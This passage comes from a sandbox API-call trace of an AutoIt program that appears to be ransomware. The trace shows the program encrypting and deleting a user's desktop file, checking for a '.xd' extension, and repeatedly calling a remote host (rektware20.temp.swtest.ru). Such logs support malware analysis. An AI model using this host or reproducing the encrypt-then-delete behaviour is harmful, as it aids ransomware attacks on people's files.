lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.965] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.965] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.965] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.970] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.971] WriteFile (in: hFile=0x3d8, lpBuffer=0x18846e0*, nNumberOfBytesToWrite=0x176d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18846e0*, lpNumberOfBytesWritten=0x130f01c*=0x176d0, lpOverlapped=0x0) returned 1 [0074.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.974] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.974] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.974] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.974] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.975] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621318, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.975] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.975] CryptDestroyKey (hKey=0x164c430) returned 1 [0074.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.975] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.975] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.976] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.976] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.976] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.976] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.976] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.977] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.977] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.977] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.977] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.977] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.977] CryptReleaseContext (hProv=0x1631ee0, dwFlags=0x0) returned 1 [0074.977] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.977] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.977] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.977] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.977] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.977] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.977] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.978] CloseHandle (hObject=0x3d0) returned 1 [0074.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.984] CloseHandle (hObject=0x3d8) returned 1 [0074.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.990] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.990] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", lpFilePart=0x0) returned 0x29 [0074.990] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\b2ydltr.mp3")) returned 0x20 [0074.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0074.990] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\b2ydltr.mp3")) returned 1 [0074.994] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.995] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0074.995] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.995] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.995] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.995] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.995] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.995] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.996] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.996] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.996] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.996] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.996] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.996] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0074.996] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.996] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.997] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.997] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.997] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.997] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.997] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.998] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.998] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.998] CloseHandle (hObject=0x0) returned 0 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.999] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.999] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.999] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.999] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.999] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.999] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.999] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.999] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.999] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0074.999] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.999] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.999] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.000] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.000] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.000] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.000] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.000] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.000] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.001] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.001] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.001] CloseHandle (hObject=0x0) returned 0 [0075.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.001] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.001] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.001] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.001] PeekMessageW (in: lpMsg=0x130ef0c, 